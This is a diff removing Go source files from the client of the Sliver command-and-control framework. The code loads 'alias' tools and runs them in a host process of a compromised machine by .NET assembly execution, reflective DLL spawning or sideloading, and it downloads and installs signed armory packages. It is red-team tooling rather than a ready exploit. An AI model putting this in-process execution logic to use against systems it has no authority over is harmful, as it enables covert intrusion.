linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
}
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
}
con.App.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if aliasManifest.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
-75
View File
@@ -1,75 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"fmt"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Extension name is required\n")
return
}
confirm := false
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
err := RemoveAliasByCommandName(name, con)
if err != nil {
con.PrintErrorf("Error removing alias: %s\n", err)
return
} else {
con.PrintInfof("Alias '%s' removed\n", name)
}
}
// RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" {
return errors.New("command name is required")
}
if _, ok := loadedAliases[commandName]; !ok {
return errors.New("alias not loaded")
}
delete(loadedAliases, commandName)
con.App.Commands().Remove(commandName)
extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
if _, err := os.Stat(extPath); os.IsNotExist(err) {
return nil
}
err := os.RemoveAll(extPath)
if err != nil {
return err
}
return nil
}
-457
View File
@@ -1,457 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/base64"
"errors"
"fmt"
"net/url"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
}
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
type ArmoryHTTPConfig struct {
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
DisableTLSValidation bool
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
// ArmoryCmd - The main armory command
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
clientConfig := parseArmoryHTTPConfig(ctx)
indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else {
con.PrintInfof("No indexes found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
} else {
exts = append(exts, cacheEntry.Extension)
}
}
return true
})
return aliases, exts
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
indexBundles := value.(indexCacheEntry).Index.Bundles
bundles = append(bundles, indexBundles...)
return true
})
return bundles
}
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
}
}
for _, bundle := range bundles {
if strings.HasPrefix(bundle.Name, prefix) {
results = append(results, bundle.Name)
}
}
return results
}
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
type pkgInfo struct {
CommandName string
Version string
Type string
Help string
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
entries = append(entries, pkgInfo{
CommandName: extension.CommandName,
Version: extension.Version,
Type: "Extension",
Help: extension.Help,
URL: extension.RepoURL,
})
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
}
con.Printf("%s\n", tw.Render())
}
// PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Name",
"Contains",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
tw.AppendRow(table.Row{
bundle.Name,
strings.Join(bundle.Packages, ", "),
})
}
con.Printf("%s\n", tw.Render())
}
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
var proxyURL *url.URL
rawProxyURL := ctx.Flags.String("proxy")
if rawProxyURL != "" {
proxyURL, _ = url.Parse(rawProxyURL)
}
timeout := defaultTimeout
rawTimeout := ctx.Flags.String("timeout")
if rawTimeout != "" {
var err error
timeout, err = time.ParseDuration(rawTimeout)
if err != nil {
timeout = defaultTimeout
}
}
return ArmoryHTTPConfig{
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
ProxyURL: proxyURL,
Timeout: timeout,
DisableTLSValidation: ctx.Flags.Bool("insecure"),
}
}
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr == nil {
indexes = append(indexes, cacheEntry.Index)
}
return true
})
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
}()
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
armoryResult.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
var index *ArmoryIndex
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
index, err = indexParser(armoryConfig, clientConfig)
} else {
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
}
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
var sig *minisign.Signature
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
pkgCacheEntry.Sig = *sig
} else {
pkgCacheEntry.LastErr = errors.New("nil signature")
return
}
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
-1
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@@ -1 +0,0 @@
package armory
-284
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@@ -1,284 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
)
var (
ErrPackageNotFound = errors.New("package not found")
)
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
installAlias(alias, clientConfig, con)
return nil
}
}
for _, ext := range extensions {
if ext.CommandName == name {
installExtension(ext, clientConfig, con)
return nil
}
}
return ErrPackageNotFound
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
}
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
if err != nil {
return err
}
return nil
}
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
for dep := range deps {
if extensions.CmdExists(dep, con.App) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
if entry.Extension.DependsOn == "" {
return // Avoid adding empty dependency
}
if entry.Extension.DependsOn == name {
return // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
// seen this dependency, we stop resolving
if _, ok := deps[entry.Extension.DependsOn]; ok {
return // Already resolved
}
if maxDepDepth < len(deps) {
return
}
deps[entry.Extension.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return errors.New("package not found")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
}
var publicKey minisign.PublicKey
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
rawSig, _ := sig.MarshalText()
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
if !valid {
return errors.New("signature verification failed")
}
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install extension")
}
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
if err != nil {
return err
}
if extensions.CmdExists(extCmd.Name, con.App) {
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
}
-370
View File
@@ -1,370 +0,0 @@
package armory
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/tls"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
